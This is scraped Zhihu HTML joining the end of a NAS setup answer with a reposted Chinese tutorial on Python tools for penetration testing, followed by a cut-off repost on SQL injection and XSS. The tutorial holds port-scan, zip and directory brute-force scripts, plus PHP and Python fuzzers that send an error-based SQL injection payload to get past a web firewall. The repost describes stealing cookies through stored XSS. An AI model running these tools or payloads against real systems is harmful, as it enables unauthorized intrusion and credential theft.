data-original=&https://pic1.zhimg.com/50/v2-6201abcb754bcedc0de78a_r.jpg&&&figcaption&功能非常丰富的nextcloud插件面板&/figcaption&&/figure&&hr&&p&这些年折腾NAS的心得总结一句话:&/p&&h2&不要把简单的事情复杂化&/h2&&hr&&h2&解决方案的选择,总结如下&/h2&&ul&&li&图省心不差钱的大可以选择白群晖;&/li&&li&普通用户可以选择Windows;&/li&&li&动手能力强,需要更多功能模块的可以考虑Linux。&/li&&/ul&&hr&&h2&写在后面:&/h2&&p&为达到更方便的操作与控制,建议搞一台能刷梅林、DD-WRT的路由,各种远程开关机、修改设置。(手残党暂时不要考虑Open-WRT)&/p&&figure&&img src=&https://pic4.zhimg.com/50/v2-acbcfb8e8eefa2f8f0b8a2a_b.jpg& data-size=&normal& data-rawwidth=&1003& data-rawheight=&1127& class=&origin_image zh-lightbox-thumb& width=&1003& data-original=&https://pic4.zhimg.com/50/v2-acbcfb8e8eefa2f8f0b8a2a_r.jpg&&&figcaption&梅林路由web界面&/figcaption&&/figure&&figure&&img src=&https://pic2.zhimg.com/50/bcc5a39aba6132a_b.jpg& data-size=&normal& data-rawwidth=&1500& data-rawheight=&1334& class=&origin_image zh-lightbox-thumb& width=&1500& data-original=&https://pic2.zhimg.com/50/bcc5a39aba6132a_r.jpg&&&figcaption&DD-WRT的手机app截图&/figcaption&&/figure&&figure&&img src=&https://pic3.zhimg.com/50/v2-cba538ff2e23fc71a39ec_b.jpg& data-size=&normal& data-rawwidth=&1242& data-rawheight=&2208& class=&origin_image zh-lightbox-thumb& width=&1242& data-original=&https://pic3.zhimg.com/50/v2-cba538ff2e23fc71a39ec_r.jpg&&&figcaption&配置工作较复杂的Open-WRT&/figcaption&&/figure&&p&&br&&/p&&p&以上。&/p&&hr&&p&利益相关:&/p&&ul&&li&Synology DS716+II ( DSM6.1 ) : WD40EFRX + WD80EFZX&/li&&li&HP ProLiant MicroServer N54L ( Fedora28 + Nextcloud12 ) :
WD40EFRX&/li&&li&Acer Altos C100 F3 with E3 1285L v3 ( Windows Server 2016 ) :
PX-256M6S + WD5003ABYX+ WD40EFRX x2 + WD80EFZX&/li&&/ul&
本答案于2018年5月重写。这些年软硬件及个人对NAS的认知也在不断更新,期间有一些新的想法方便大家避坑。 折腾NAS的四年中,本人换来换去用过方案很多,黑群晖、Linux、Windows、各种虚拟机混搭等等,现在感觉搭建家用NAS的目的是简单易用,而不是把自己搞…
&figure&&img src=&https://pic3.zhimg.com/v2-8b6e70fb9bb0f_b.jpg& data-rawwidth=&697& data-rawheight=&443& class=&origin_image zh-lightbox-thumb& width=&697& data-original=&https://pic3.zhimg.com/v2-8b6e70fb9bb0f_r.jpg&&&/figure&&blockquote&作者:&a href=&http://link.zhihu.com/?target=https%3A//bbs.ichunqiu.com/thread-.html%3Ffrom%3Dzh& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&xiaoye&/a&&br&来源:&a href=&http://link.zhihu.com/?target=https%3A//bbs.ichunqiu.com/thread-.html%3Ffrom%3Dzh& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&i春秋社区&/a&&/blockquote&&p&&b&前言&/b&&/p&&p&python是门简单易学的语言,强大的第三方库让我们在编程中事半功倍,今天我们就来谈谈python在&a href=&http://link.zhihu.com/?target=http%3A//bbs.ichunqiu.com/portal.php%3Ffrom%3Dzh& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&渗透测试&/a&中的应用,让我们自己动手打造自己的&a href=&http://link.zhihu.com/?target=http%3A//bbs.ichunqiu.com/portal.php%3Ffrom%3Dzh& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&渗透工具&/a&集。&/p&&p&&br&&/p&&p&&b&一、信息搜集--py端口扫描小脚本&/b&&/p&&p&端口扫描是渗透测试中常用的技术手段,发现敏感端口,尝试弱口令或者默认口令爆破也是常用的手段,之前自学python时候百度着写了个小脚本。&/p&&p&端口扫描小脚本:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&#coding: utf-8
import socket
import time
def scan(ip, port):
socket.setdefaulttimeout(3)
s = socket.socket()
s.connect((ip, port))
return True
def scanport():
print '作者:xiaoye'.decode('utf-8').encode('gbk')
print '--------------'
print 'blog: [url]http://blog.163.com/sy_butian/blog'[/url]
print '--------------'
ym = raw_input('请输入域名(只对未使用cdn的网站有效):'.decode('utf-8').encode('gbk'))
ips = socket.gethostbyname(ym)
print 'ip: %s' % ips
portlist = [80,81,,23,443,69,22,25,110,89,00,1433]
starttime = time.time()
for port in portlist:
res = scan(ips, port)
print 'this port:%s is on' % port
endtime = time.time()
print '本次扫描用了:%s秒'.decode('utf-8').encode('gbk') % (endtime-starttime)
if __name__ == '__main__':
scanport()
#coding: utf-8
import socket
import time
def scan(ip, port):
socket.setdefaulttimeout(3)
s = socket.socket()
s.connect((ip, port))
return True
def scanport():
print '作者:xiaoye'.decode('utf-8').encode('gbk')
print '--------------'
print 'blog: [url]http://blog.163.com/sy_butian/blog'[/url]
print '--------------'
ym = raw_input('请输入域名(只对未使用cdn的网站有效):'.decode('utf-8').encode('gbk'))
ips = socket.gethostbyname(ym)
print 'ip: %s' % ips
portlist = [80,81,,23,443,69,22,25,110,89,00,1433]
starttime = time.time()
for port in portlist:
res = scan(ips, port)
print 'this port:%s is on' % port
endtime = time.time()
print '本次扫描用了:%s秒'.decode('utf-8').encode('gbk') % (endtime-starttime)
if __name__ == '__main__':
scanport()
&/code&&/pre&&/div&&p&对于端口扫描技术,其实分很多种,通常是利用tcp协议的三次握手过程(从网上偷张图。。)&/p&&figure&&img src=&https://pic4.zhimg.com/v2-d05ae0db91da27753fadaf_b.jpg& data-caption=&& data-rawwidth=&627& data-rawheight=&340& class=&origin_image zh-lightbox-thumb& width=&627& data-original=&https://pic4.zhimg.com/v2-d05ae0db91da27753fadaf_r.jpg&&&/figure&&p&放出的那个脚本,是利用了tcp connect() 即完成了tcp三次握手全连接,根据握手情况判断端口是否开放,这种方式比较准确,但是会在服务器留下大量连接痕迹。&/p&&p&当然,如果不想留下大量痕迹,我们可以在第三次握手过程,将ack确认号变成rst(释放连接),连接没有建立,自然不会有痕迹,但是这种方法需要root权限
&/p&&p&好了,先讲解一下我们的py端口扫描小脚本:&/p&&p&核心代码:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&portlist = [80,81,,23,443,69,22,25,110,89,00,1433]
for port in portlist:
res = scan(ips, port)
print 'this port:%s is on' % port
&/code&&/pre&&/div&&p&这段代码是定义了要扫描的端口,并且用for ..in .. 来进行遍历&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&socket.setdefaulttimeout(3)
s = socket.socket()
s.connect((ip, port))
&/code&&/pre&&/div&&p&这段代码,是利用了socket套接字,建立tcp连接,socket.socket()就是s = socket.socket(socket.AF_INET, socket.SOCK_STREAM),用于tcp连接建立&/p&&p&&br&&/p&&p&&b&二、实用爆破小脚本--压缩文件密码爆破&&ftp爆破&/b&&/p&&p&对于压缩文件,py有自己的处理模块zipfile,关于zipfile的实例用法,在violent python里有实例脚本,模仿书里写了个小脚本&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&#coding: utf-8
z = zipfile.ZipFile('') , extractall
z.extractall(pwd)
import zipfile
import threading
def zipbp(zfile, pwd):
zfile.extractall(pwd=pwd)
print 'password found : %s' % pwd
def main():
zfile = zipfile.ZipFile('xx.zip')
pwdall = open('dict.txt')
for pwda in pwdall.readlines():
pwd = pwda.strip('\n')
t = threading.Thread(target=zipbp, args=(zfile, pwd))
if __name__ == '__main__':
&/code&&/pre&&/div&&p&其实脚本很简单,核心就一个地方:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&zfile = zipfile.ZipFile('xx.zip')
..............
zfile.extractall(pwd=pwd)
&/code&&/pre&&/div&&p&ZipFile是zipfile模块重要的一个类,zfile就是类的实例,而extractall(pwd)就是类里的方法,用于处理带有密码的压缩文件;当pwd正确时,压缩文件就打开成功。而此脚本就是利用了zipfile模块的类和方法,加载字典不断尝试pwd,直至返回正确的密码,爆破成功&/p&&p&python在爆破方面也很有优势,比如ftp,py也有ftplib模块来处理,一次ftp连接过程如下:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&ftp = ftplib.FTP()
ftp.connect(host, 21, 9)
ftp.login(user, pwd)
ftp.retrlines('LIST')
ftp.quit()
&/code&&/pre&&/div&&p&connect(ip, port, timeout)用于建立ftp连接;login(user,pwd)用于登陆ftp;retrlines()用于控制在服务器执行命令的结果的传输模式;quit()方法用于关闭ftp连接&/p&&p&&br&&/p&&p&是不是觉得和zipfile的套路很像?没错,你会写一个,就会写另外一个,就会写许许多多的爆破脚本,脚本我就不放出来了,大家自己动手去写一写(p.s:关于ftp爆破,在加载字典之前,请先尝试空密码,即ftp.login(),万一成功了呢。。)&/p&&p&&br&&/p&&p&&b&三、目录探测--py低配版御剑&/b&&/p&&p&昨天写了个小脚本,用来探测目录,实现和御剑一样的效果,脚本是写好了,开了多线程,但是还算很慢。。之后我会再次修改:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&#coding: utf-8
import sys
import requests
import threading
def savetxt(url):
with open('domain.txt', 'a') as f:
url = url + '\n'
f.write(url)
def geturl(url):
r = requests.get(url, timeout=1)
status_code = r.status_code
if status_code == 200:
print url + ' 200 ok'
savetxt(url)
#print url
#print status_code
syslen = len(sys.argv)
#print syslen
url = raw_input('请输入要扫描目录的网站\n'.decode('utf-8').encode('gbk'))
for i in range(1,syslen):
with open(sys.argv[i], 'r') as f:
for fi in f.readlines():
fi = fi.strip('\n')
fi = url + '/' + fi
t = threading.Thread(target=geturl, args=(fi,))
#res = ''.join(res)
#print res
&/code&&/pre&&/div&&figure&&img src=&https://pic1.zhimg.com/v2-463dc4c850eb1ca9b0138_b.jpg& data-caption=&& data-rawwidth=&741& data-rawheight=&167& class=&origin_image zh-lightbox-thumb& width=&741& data-original=&https://pic1.zhimg.com/v2-463dc4c850eb1ca9b0138_r.jpg&&&/figure&&p&能run起来,速度较慢。。&/p&&p&说一下主要思想吧,之后我改完再细讲。。:&/p&&p&加载1个或者多个字典,将字典中的内容与输入的url进行拼接得到完整url;&/p&&p&关于加载多个字典,代码实现如下:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&syslen = len(sys.argv)
#print syslen
url = raw_input('请输入要扫描目录的网站\n'.decode('utf-8').encode('gbk'))
for i in range(1,syslen):
with open(sys.argv[i], 'r') as f:
for fi in f.readlines():
fi = fi.strip('\n')
fi = url + '/' + fi
&/code&&/pre&&/div&&p&利用sys.argv,我们输入python yujian.py dir.txt就加载dir.txt,输入dir.txt php.txt ,因为有for i in range(1,syslen):,syslen=3,range(1,3)返回[1,2];&/p&&p&with open(sys.argv&i&, 'r') as f:&/i&它就会自动加载输入的两个txt文件(sys.argv[1]、sys.argv[2]);也就是说,我们输入几个文件,它就加载几个文件作为字典&/p&&p&当我们遇到php站点时,完全可以把御剑的字典拿过来,只加载php.txt dir.txt,这点和御剑是一样的:&/p&&figure&&img src=&https://pic3.zhimg.com/v2-8f2acb4072eab532a3abea_b.jpg& data-caption=&& data-rawwidth=&924& data-rawheight=&664& class=&origin_image zh-lightbox-thumb& width=&924& data-original=&https://pic3.zhimg.com/v2-8f2acb4072eab532a3abea_r.jpg&&&/figure&&p&通过python的requests.get(url)的状态返回码status_code来对是否存在该url进行判断;&/p&&p&如果返回200就将该url打印出来,并且存进txt文本里&/p&&p&目前是这么个想法。。&/p&&p&-----------------------------------------------------------------------&/p&&p&更新:多线程加队列目录探测脚本 : &a href=&http://link.zhihu.com/?target=https%3A//bbs.ichunqiu.com/thread-.html%3Ffrom%3Dzh& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&https://github.com/xiaoyecent/scan_dir&/a&&/p&&p&&br&&/p&&p&有关于更多小脚本, 可以访问 &a href=&http://link.zhihu.com/?target=http%3A//bbs.ichunqiu.com/portal.php%3Ffrom%3Dzh& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&https://github.com/xiaoyecent&/a& 目前添加了百度url采集、代理ip采集验证、爬虫、简单探测网段存活主机等小脚本,新手单纯交流学习,大牛勿喷&/p&&p&&b&四、爬虫爬取整站连接&/b&&/p&&p&这个爬虫是慕课网上的蚂蚁老师讲的,感觉做的非常好,就改了一下,本来是用来爬取百度百科python1000条词条的(现在还是能爬的,要是之后目标更新了,就得制订新的爬虫策略了,大的框架不需要变),改成了爬取网站整站连接,扩展性还是很好的。&/p&&p&爬虫的基本构成,抓一张蚂蚁老师的图:&/p&&figure&&img src=&https://pic3.zhimg.com/v2-7d00eb2cbe8bf8bd62b267a_b.jpg& data-caption=&& data-rawwidth=&1344& data-rawheight=&765& class=&origin_image zh-lightbox-thumb& width=&1344& data-original=&https://pic3.zhimg.com/v2-7d00eb2cbe8bf8bd62b267a_r.jpg&&&/figure&&p&1.调度器:调度器用来对各个部分进行调度,如将url取出,送给下载器下载,将下载是页面送给解析器解析,解析出新的url及想要的数据等&/p&&p&2.url管理器:url管理器要维护两个set()(为啥用set(),因为set()自带去重功能),一个标识已抓取的url,一个标识待抓取的url,同时,url管理器还要有将解析器解析出来的新url放到待抓取的url里的方法等&/p&&p&3.下载器:实现最简单,抓取静态页面只需要r = &br&requests.get,然后r.content,页面内容就存进内存了,当然,你存进数据库里也是可以的;但是同时也是扩展时的重点,比如某些页面需要登陆才能访问,这时候就得post传输账号密码或者加上已经登陆产生的cookie&/p&&p&4.解析器:BeautifulSoup或者正则或者采用binghe牛的pyquery来解析下载器下载来的页面数据&/p&&p&5.输出器:主要功能输出想得到的数据&/p&&p&&b&调度器:&/b&&/p&&p&spider_main.py&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&#!/usr/bin/env python2
# -*- coding: UTF-8 -*-
from spider import url_manager, html_downloader, html_outputer, html_parser
class SpiderMain(object):
def __init__(self):
self.urls = url_manager.UrlManager()
self.downloader = html_downloader.HtmlDownloader()
self.parser = html_parser.HtmlParser()
self.outputer = html_outputer.HtmlOutputer()
def craw(self, root_url):
self.urls.add_new_url(root_url)
while self.urls.has_new_url():
new_url = self.urls.get_new_url()
print 'craw : %s' % new_url
html_cont = self.downloader.download(new_url)
new_urls, new_data = self.parser.parse(new_url, html_cont)
self.urls.add_new_urls(new_urls)
self.outputer.collect_data(new_data)
print 'craw failed'
self.outputer.output_html()
if __name__ == &__main__&:
root_url = &自己想爬的网站,我爬了下爱编程,效果还行&
obj_spider = SpiderMain()
obj_spider.craw(root_url)
&/code&&/pre&&/div&&p&其中__init__是初始化,url_manager, html_downloader, html_outputer, html_parser是自己写的模块,各个模块里有各自的类和方法,通过初始化得到相应类的实例;&/p&&p&craw是调度器对各个模块的调度:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&new_url = self.urls.get_new_url()
print 'craw : %s' % new_url
html_cont = self.downloader.download(new_url)
new_urls, new_data = self.parser.parse(new_url, html_cont)
self.urls.add_new_urls(new_urls)
self.outputer.collect_data(new_data)
&/code&&/pre&&/div&&p&分别对应着:&/p&&p&1.从待爬取url列表中取出一个url&/p&&p&2.将改url送往下载器下载,返回页面内容&/p&&p&3.将页面送往解析器解析,解析出新的url列表和想要的数据&/p&&p&4.调度url管理器,将新的url添加进带爬取的url列表&/p&&p&5.调度输出器输出数据&/p&&p&&br&&/p&&p&&b&url管理器:&/b&&/p&&p&url_manager.py:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&#!/usr/bin/env python2
# -*- coding: UTF-8 -*-
class UrlManager(object):
def __init__(self):
self.new_urls = set()
self.old_urls = set()
def add_new_url(self, url):
if url is None:
if url not in self.new_urls and url not in self.old_urls:
self.new_urls.add(url)
def add_new_urls(self, urls):
if urls is None or len(urls) == 0:
for url in urls:
self.add_new_url(url)
def has_new_url(self):
return len(self.new_urls) != 0
def get_new_url(self):
new_url = self.new_urls.pop()
self.old_urls.add(new_url)
return new_url
&/code&&/pre&&/div&&p&url_manager模块里的类,及类的方法&/p&&p&&br&&/p&&p&&b&下载器:&/b&&/p&&p&html_downloader.py&/p&&p&本来蚂蚁老师用的urllib,我给改了,改成requests:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&#!/usr/bin/env python2
# -*- coding: UTF-8 -*-
import urllib2
import requests
class HtmlDownloader(object):
def download(self, url):
if url is None:
return None
r = requests.get(url,timeout=3)
if r.status_code != 200:
return None
return r.content
&/code&&/pre&&/div&&p&&b&html解析器:&/b&&/p&&p&html_parser.py&/p&&p&把抓取策略给改了,现在是解析所有链接,即a标签href的值&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&#!/usr/bin/env python2
# -*- coding: UTF-8 -*-
import urlparse
from bs4 import BeautifulSoup
class HtmlParser(object):
def parse(self, page_url, html_cont):
if page_url is None or html_cont is None:
soup = BeautifulSoup(html_cont, 'html.parser', from_encoding='utf-8')
new_urls = self._get_new_urls(page_url, soup)
new_data = self._get_new_data(page_url, soup)
return new_urls, new_data
def _get_new_urls(self, page_url, soup):
new_urls = set()
links = soup.find_all('a')
for link in links:
new_url = link['href']
new_full_url = urlparse.urljoin(page_url, new_url)
new_urls.add(new_full_url)
return new_urls
def _get_new_data(self, page_url, soup):
res_data = {}
return res_data
&/code&&/pre&&/div&&p&html_outputer.py&/p&&p&这个看情况,可要可不要,反正已经能打印出来了:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&#!/usr/bin/env python2
# -*- coding: UTF-8 -*-
class HtmlOutputer(object):
def __init__(self):
self.datas = []
def collect_data(self, data):
if data is None:
self.datas.append(data)
def output_html(self):
fout = open('output.html', 'w')
fout.write(&&html&&)
fout.write(&&body&&)
fout.write(&&table&&)
for data in self.datas:
fout.write(&&tr&&)
fout.write(&&td&%s&/td&& % data['url'])
#fout.write(&&td&%s&/td&& % data['title'].encode('utf-8'))
#fout.write(&&td&%s&/td&& % data['summary'].encode('utf-8'))
fout.write(&&/tr&&)
fout.write(&&/table&&)
fout.write(&&/body&&)
fout.write(&&/html&&)
fout.close()
&/code&&/pre&&/div&&p&运行效果:&/p&&figure&&img src=&https://pic2.zhimg.com/v2-b745f9ee2b628a34be1f3e369ca419c9_b.jpg& data-caption=&& data-rawwidth=&1915& data-rawheight=&1029& class=&origin_image zh-lightbox-thumb& width=&1915& data-original=&https://pic2.zhimg.com/v2-b745f9ee2b628a34be1f3e369ca419c9_r.jpg&&&/figure&&p&这款爬虫可扩展性挺好,之后大家可以扩展爬取自己想要的内容&/p&&p&&br&&/p&&p&当然要是只需要爬取某个页面的某些内容,完全不必要这么麻烦,一个小脚本就好了:&/p&&p&比如我要爬取某二级域名接口中的二级域名结果:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&#coding: utf-8
import urllib, re
def getall(url):
page = urllib.urlopen(url).read()
return page
def ressubd(all):
a = re.compile(r'value=&(.*?.com|.*?.cn|.*?.com.cn|.*?.org| )&&&input')
subdomains = re.findall(a, all)
return (subdomains)
if __name__ == '__main__':
print '作者:深夜'.decode('utf-8').encode('gbk')
print '--------------'
print 'blog: [url]http://blog.163.com/sy_butian/blog'[/url]
print '--------------'
url = 'http://i.links.cn/subdomain/' + raw_input('请输入主域名:'.decode('utf-8').encode('gbk')) + '.html'
all = getall(url)
subd = ressubd(all)
sub = ''.join(subd)
s = sub.replace('http://', '\n')
with open('url.txt', 'w') as f:
f.writelines(s)
&/code&&/pre&&/div&&p&小脚本用正则就好了,写的快&/p&&p&&br&&/p&&p&&b&五、python在exp中的应用&/b&&/p&&p&之前海盗表哥写过过狗的一个php fuzz脚本&/p&&p&&a href=&http://link.zhihu.com/?target=http%3A//bbs.ichunqiu.com/forum.php%3Fmod%3Dviewthread%26tid%3D16134& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://&/span&&span class=&visible&&bbs.ichunqiu.com/forum.&/span&&span class=&invisible&&php?mod=viewthread&tid=16134&/span&&span class=&ellipsis&&&/span&&/a&&/p&&p&表哥写的php版本的:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&&?php $i=10000;
$url = 'http://192.168.1.121/sqlin.php'; for(;;){
echo &$i\n&;
$payload = 'id=-1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))) and 1='.str_repeat('3',$i); $ret = doPost($url,$payload);
if(!strpos($ret,'网站防火墙')){
echo &done!\n&.strlen($payload).&\n&.$ die();
function doPost($url,$data=''){ $ch=curl_init();
curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, 1 ); curl_setopt($ch, CURLOPT_HEADER, 0 ); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 ); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); $return = curl_exec ($ch);
curl_close ($ch); return $
&/code&&/pre&&/div&&p&我在本地搭了个环境,然后用python也写了下,还是挺好写的:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&#coding: utf-8
import requests, os
#i = 9990;
url = 'http://localhost:8090/sqlin.php'
def dopost(url, data=''):
r = requests.post(url, data)
return r.content
for i in range():
payload = {'id':'1 and 1=' + i * '3' + ' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))'}
#print payload
ret = dopost(url, payload)
ret = ''.join(ret)
if ret.find('网站防火墙') == -1:
print &done\n& + &\n& + ret
&/code&&/pre&&/div&&p&&b&六、总结&/b&&/p&&p&学生党还是很苦逼的,1.15号才考完试,不说了,写文章写了俩小时。。我去复习了,各位表哥有意见或者建议尽管提,文章哪里不对的话会改的,欢迎表哥表弟们来&a href=&http://link.zhihu.com/?target=https%3A//bbs.ichunqiu.com/thread-.html%3Ffrom%3Dzh& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&社区&/a&一起交流哦~ &/p&
作者: 来源:前言python是门简单易学的语言,强大的第三方库让我们在编程中事半功倍,今天我们就来谈谈python在中的应用,让我们自己动手打造自己的集。 一、信息搜集--py端口扫描小脚本端口扫描是渗透测试中常用的技术手…
&figure&&img src=&https://pic1.zhimg.com/v2-dceb6c365ef_b.jpg& data-rawwidth=&903& data-rawheight=&308& class=&origin_image zh-lightbox-thumb& width=&903& data-original=&https://pic1.zhimg.com/v2-dceb6c365ef_r.jpg&&&/figure&&p&作者:
226safe Team 最菜的那位!&/p&&p&反正我问他杂写的,他就是这么说的。由于团队在知乎没专栏,我就只能转贴到我的笔记上来了,分享给大家,常见的漏洞汇总吧,很不错。(*^__^*) 嘻嘻……&/p&&p&----------------------------------------------------------------------------------------------------------------------&/p&&h2&SQL注入&/h2&&p&&b&成因&/b&:程序未对用户的输入的内容进行过滤,从而直接代入数据库查询,所以导致了sql 注入&/p&&p&漏洞 。&/p&&p&&b&思路:&/b&在URL处可以通过 &b&单引号&/b& 和 &b&and 1=1&/b&
&b&and 1=2&/b& 等语句进行手工测试sql注入 。&/p&&p&&b&Post&/b&&b& 注入:&/b&比如后台登录框输入单引号测试注入,报错的话说明存在注入可以直接抓包,用工具来完成注入。( 在HTML中关于提交类型代码,尤其是后台登录和留言这些,都是需要 post 形式来提交的,而且 post 提交方式也是不会像 get 形式在 URL 中显示的。)&/p&&p&关于SQL注入 还有 ,Cookie注入 盲注 爆错注入 等等...&/p&&p&&b&实例:&/b&&/p&&figure&&img src=&https://pic3.zhimg.com/v2-67ecb739a5b3a199ae6d481_b.jpg& data-rawwidth=&723& data-rawheight=&99& class=&origin_image zh-lightbox-thumb& width=&723& data-original=&https://pic3.zhimg.com/v2-67ecb739a5b3a199ae6d481_r.jpg&&&/figure&&p&输入单引号,进行初步判断,如果报错就说明可能存在注入。 &br&&/p&&p&然后我,猜想出真正执行的SQL语句应该是: select * from info where fid=623&/p&&p&继续输入 and 1=1 , and 1=2 来看下是否可以手工注入,就是查看页面是否存在显示性错误,而不是单引号式的错误。&/p&&p&由于我是转贴的,所以就没有这个截图,但是成功的报错了。而 and 1=1 和 and 1=2 在SQL 语句中是这样的:&/p&&p&select * from news where id=623
and 1=1&/p&&p&select * from news where id=623
and 1=2&/p&&p&这样的语句在数据库查询中是可以查询成功的 , 623 and 1=1 而这里的 and 是一个逻辑判断符,623是正确存在的,而 1=1 这个也是正确的啊!所以 正确 and 正确 ,就会查询 623 这个,所以页面也就返回正常了,而 1=2 这肯定不对等,所以 正确 and 错误,就会查询错误,所以报错 。&/p&&p&既然存在注入了,懒的手工就直接扔 sqlmap 了。&/p&&h2&&figure&&img src=&https://pic2.zhimg.com/v2-ec5e987d7bb6fed56297eb_b.jpg& data-rawwidth=&634& data-rawheight=&397& class=&origin_image zh-lightbox-thumb& width=&634& data-original=&https://pic2.zhimg.com/v2-ec5e987d7bb6fed56297eb_r.jpg&&&/figure&XSS 漏洞&/h2&&p&&b&原理:&/b&web 程序解析了用户的HTML代码操作。说白了,就是程序员在设计网站中输入输出的部分的时候,没有对用户输入的内容进行过滤,从而导致用户输入恶意代码时,这些代码会被 web 程序给执行了。&/p&&p&&b&Xss&/b&&b&分类:&/b&反射型,存储型,DOM型,FLASH(DOM,FLASH不常用)&/p&&p&&b&反射型xss :&/b&存在输入输出的地方,不具备转存数据库这一步,只是一个简单的输入输出。一般这类的漏洞危害比较小,因为它的传播方式需要恶意用户把他构造好的恶意 URL 发给你,你点击才会触发的,一般有安全意识的很少会中招。&/p&&p&&b&存储型xss :&/b&没有对用户输入的东西,进行过滤,就直接存储到数据库中。一般这类的漏洞是危害最大的,而且可以运用在很多方面上,只要你知识牢固,思维广阔,这个漏洞,可以玩出很多花样来,不过该漏洞,目前运用最广的就是在网站留言板这一类的,输入恶意代码,让网站管理员查看后,并中招,从而窃取 cookie 。&/p&&p&&b&反射型实例 :&/b&&/p&&p&反射型(查看url)大白话总结:吃什么吐什么&/p&&figure&&img src=&https://pic4.zhimg.com/v2-faf5b56e92dc3df15ad6d8b0dadb5bd6_b.jpg& data-rawwidth=&728& data-rawheight=&476& class=&origin_image zh-lightbox-thumb& width=&728& data-original=&https://pic4.zhimg.com/v2-faf5b56e92dc3df15ad6d8b0dadb5bd6_r.jpg&&&/figure&&p&发现php?S=24
(下面的输出内容为1,测试下)&/p&&p&&figure&&img src=&https://pic2.zhimg.com/v2-703a01c6adfb50e6eb6dfb1_b.jpg& data-rawwidth=&517& data-rawheight=&275& class=&origin_image zh-lightbox-thumb& width=&517& data-original=&https://pic2.zhimg.com/v2-703a01c6adfb50e6eb6dfb1_r.jpg&&&/figure& 发现把s的内容替换之后 页面的内容也随之替换,则此处应该存在xss反射漏洞。&/p&&p&那我们构造下一个常用的 javascript 的弹窗代码,再看下效果 。&/p&&br&&figure&&img src=&https://pic1.zhimg.com/v2-e8d2cdfacc1ca38edb22b287771ebc9b_b.jpg& data-rawwidth=&574& data-rawheight=&52& class=&origin_image zh-lightbox-thumb& width=&574& data-original=&https://pic1.zhimg.com/v2-e8d2cdfacc1ca38edb22b287771ebc9b_r.jpg&&&/figure&&p&回车一下 。 &br&&/p&&p&&figure&&img src=&https://pic4.zhimg.com/v2-113e5af79f74ef59befe27_b.jpg& data-rawwidth=&299& data-rawheight=&175& class=&content_image& width=&299&&&/figure&通过测试,我们发现这是一个典型的反射型 XSS 漏洞。&/p&&p&&b&储存型XSS实例:&/b&&/p&&p&这是一个存在储存型 XSS 漏洞钓鱼网站 。&/p&&p&&figure&&img src=&https://pic4.zhimg.com/v2-810f7cf4989bab9a73e6af_b.jpg& data-rawwidth=&383& data-rawheight=&174& class=&content_image& width=&383&&&/figure&然后,我们鼠标右键简单的查看下网页源代码 。&/p&&figure&&img src=&https://pic2.zhimg.com/v2-a5ecde361fdd26272aeb2b8730ebf8fb_b.jpg& data-rawwidth=&838& data-rawheight=&187& class=&origin_image zh-lightbox-thumb& width=&838& data-original=&https://pic2.zhimg.com/v2-a5ecde361fdd26272aeb2b8730ebf8fb_r.jpg&&&/figure&&p&在查看源代码时,我们发现 当领取码不等于98的时候 就返回true,及领取码等于98。&/p&&p&我们随便输入领取码之后,就是弹出一个领取奖品页面,在这个页面,我们其实就可以盲打一下试试。&/p&&p&那么在开始之前,我们先随便找一个 XSS 平台,复制一段盗取 cookie 的恶意代码。&/p&&p&&figure&&img src=&https://pic2.zhimg.com/v2-d14aeef78e47f26eab63_b.jpg& data-rawwidth=&439& data-rawheight=&107& class=&origin_image zh-lightbox-thumb& width=&439& data-original=&https://pic2.zhimg.com/v2-d14aeef78e47f26eab63_r.jpg&&&/figure&&br&&/p&&p&&figure&&img src=&https://pic1.zhimg.com/v2-cb1ee68a9c5e28e9b841fb_b.jpg& data-rawwidth=&886& data-rawheight=&484& class=&origin_image zh-lightbox-thumb& width=&886& data-original=&https://pic1.zhimg.com/v2-cb1ee68a9c5e28e9b841fb_r.jpg&&&/figure&Xss插入的地方大多为标题跟内容(一切可以输出文本内容的都可以插入),然后我们试着插入下。&/p&&figure&&img src=&https://pic3.zhimg.com/v2-071c54a7c332ab4c366fd3d7d0c56610_b.jpg& data-rawwidth=&778& data-rawheight=&351& class=&origin_image zh-lightbox-thumb& width=&778& data-original=&https://pic3.zhimg.com/v2-071c54a7c332ab4c366fd3d7d0c56610_r.jpg&&&/figure&&p&插入到联系地址里面测试下能不能插入,(前面加个”&)以防万一闭合下前面的标签。&/p&&p&#(这里,我其实不推荐这样的插入,因为这个的格式,字数限制都是一些 html 这个层面的限制,建议进行抓包插 XSS 代码,这样被打到的几率更大。) &/p&&p&&figure&&img src=&https://pic2.zhimg.com/v2-8c51ed699e5ea9bf5b71_b.jpg& data-rawwidth=&639& data-rawheight=&560& class=&origin_image zh-lightbox-thumb& width=&639& 